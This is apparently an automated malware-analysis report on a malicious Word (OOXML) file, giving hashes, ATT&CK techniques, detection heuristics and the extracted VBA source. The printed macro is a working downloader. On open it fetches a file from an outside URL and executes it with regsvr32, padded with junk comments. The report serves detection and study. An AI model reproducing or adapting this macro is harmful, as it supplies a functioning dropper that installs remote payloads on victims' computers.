Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 cadc90fa3cf27574…

MALICIOUS

Office (OOXML)

113.4 KB Created: 2020-07-01 09:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: 7460be765edee13b3ccc66fcbafc9139 SHA-1: c5801ba7a4b2b7afe1d82b32b8d2a822e103c71d SHA-256: cadc90fa3cf275745d9f925b1cc0d85e5ae44c03b7e904212cb3c91656d0c021
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32 T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The `autoopen` macro executes a function that uses `URLDownloadToFile` to download a file to `c:\programdata\1.dat` from the URL `https://sql-experts.com/wp-content/uploads/2020/06/_AY1CXTu-pEvUZR2x.php?x=MDAwMSDvGymrvJp49TiiieBZMkA_Ljv4bbZ-uXje3u5bmxgl-xj8oT7w4B3rrTEhmMHKLeL0a-l_cFSuRd1Aktg7Hp0dE9DUpQeeemEl7qQ461AvFQvXre2j2mT7oQKfMPEr2P1Xr0MDOlaDc9Jhdjsxbw~~`. Subsequently, the `od` subroutine executes this downloaded file using `regsvr32 c:\programdata\1.dat`, indicating it acts as a downloader for a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function BE Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Nw As LongPtr, ByVal u6 As String, ByVal F3 As String, ByVal ID As LongPtr, ByVal zr As LongPtr) As Long
    #Else
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Dim br As New WshShell
    br.exec "regsvr32 c:\programdata\1.dat"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "O"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://sql-experts.com/wp-content/uploads/2020/06/_AY1CXTu-pEvUZR2x.php?x=MDAwMSDvGymrvJp49TiiieBZMkA_Ljv4bbZ-uXje3u5bmxgl-xj8oT7w4B3rrTEhmMHKLeL0a-l_cFSuRd1Aktg7Hp0dE9DUpQeeemEl7qQ461AvFQvXre2j2mT7oQKfMPEr2P1Xr0MDOlaDc9Jhdjsxbw~~ Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2137 bytes
SHA-256: 479b898eff2775b4c18aaf30d709216eb8062b1637d069a52d090a387d57b9ee
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "O"
Sub autoopen()

' Tinder vernal good lassitude miami
' Fit classroom
' Lading umbrellas
' Dredge onion cancelled shakespeare journeyman
KZ = BE(0, "https://sql-experts.com/wp-content/uploads/2020/06/_AY1CXTu-pEvUZR2x.php?x=MDAwMSDvGymrvJp49TiiieBZMkA_Ljv4bbZ-uXje3u5bmxgl-xj8oT7w4B3rrTEhmMHKLeL0a-l_cFSuRd1Aktg7Hp0dE9DUpQeeemEl7qQ461AvFQvXre2j2mT7oQKfMPEr2P1Xr0MDOlaDc9Jhdjsxbw~~", "c:\programdata\1.dat", 0, 0)

' System blends
od
End Sub

Attribute VB_Name = "O1"
Sub od()

' Dimple unless
' Normally malleable
' Swap apparently
' Hometown ad kilometers

' Illustration accelerate sedative cinnamon
' Median concourse
' Tor credits preoccupation volt
' Wording kb drunkard

' Springs seventy-six stripes shoot difference brawn
' Albania further projection soldiers

' Landscape significance
' Brand quarters hydrochloric upgrades

' Automobiles off surname hew
' Pentium smithsonian
' Emily heraldry bewitching repudiate

' Phones absence

' Squint reprints
' Spartans hereby pipes software

' Do loophole
' Japanese
' Vegetarian certain elusive
' Regime cafe hunger hag
' Aimed
' Gymnastics wrangle
Dim br As New WshShell
br.exec "regsvr32 c:\programdata\1.dat"

' Secure luster clap arbitrary
' Dc
' Thorax artificial schools
' Der lecturer
End Sub

Attribute VB_Name = "W"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function BE Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Nw As LongPtr, ByVal u6 As String, ByVal F3 As String, ByVal ID As LongPtr, ByVal zr As LongPtr) As Long
#Else
Public Declare Function BE Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Nw As Long, ByVal u6 As String, ByVal F3 As String, ByVal ID As Long, ByVal zr As Long) As Long
#End If
Function Z(YB)

' Leavings door
' Nova substitute violent stoned
' Holders
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 2a49f4dd9f68853f7d550793f02658986ab943fc5565e933263e636269ac4f7c